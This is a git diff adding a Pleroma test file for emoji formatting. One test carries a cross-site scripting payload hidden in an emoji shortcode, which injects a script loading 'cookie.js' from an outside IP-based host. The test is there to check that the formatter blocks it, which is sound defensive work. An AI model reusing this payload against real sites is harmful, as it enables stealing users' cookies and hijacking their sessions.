Merge remote-tracking branch 'origin/develop' into matrixmatrix

1 files changed, 49 insertions, 0 deletions

diff --git a/test/pleroma/emoji/formatter_test.exs b/test/pleroma/emoji/formatter_test.exs
new file mode 100644
index 000000000..3942f609f
--- /dev/null
+++ b/test/pleroma/emoji/formatter_test.exs
@@ -0,0 +1,49 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+  alias Pleroma.Emoji.Formatter
+  use Pleroma.DataCase, async: true
+
+  describe "emojify" do
+    test "it adds cool emoji" do
+      text = "I love :firefox:"
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
+
+      assert Formatter.emojify(text) == expected_result
+    end
+
+    test "it does not add XSS emoji" do
+      text =
+        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+      custom_emoji =
+        {
+          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+          "https://placehold.it/1x1"
+        }
+        |> Pleroma.Emoji.build()
+
+      refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
+    end
+  end
+
+  describe "get_emoji_map" do
+    test "it returns the emoji used in the text" do
+      assert Formatter.get_emoji_map("I love :firefox:") == %{
+               "firefox" => "http://localhost:4001/emoji/Firefox.gif"
+             }
+    end
+
+    test "it returns a nice empty result when no emojis are present" do
+      assert Formatter.get_emoji_map("I love moominamma") == %{}
+    end
+
+    test "it doesn't die when text is absent" do
+      assert Formatter.get_emoji_map(nil) == %{}
+    end
+  end
+end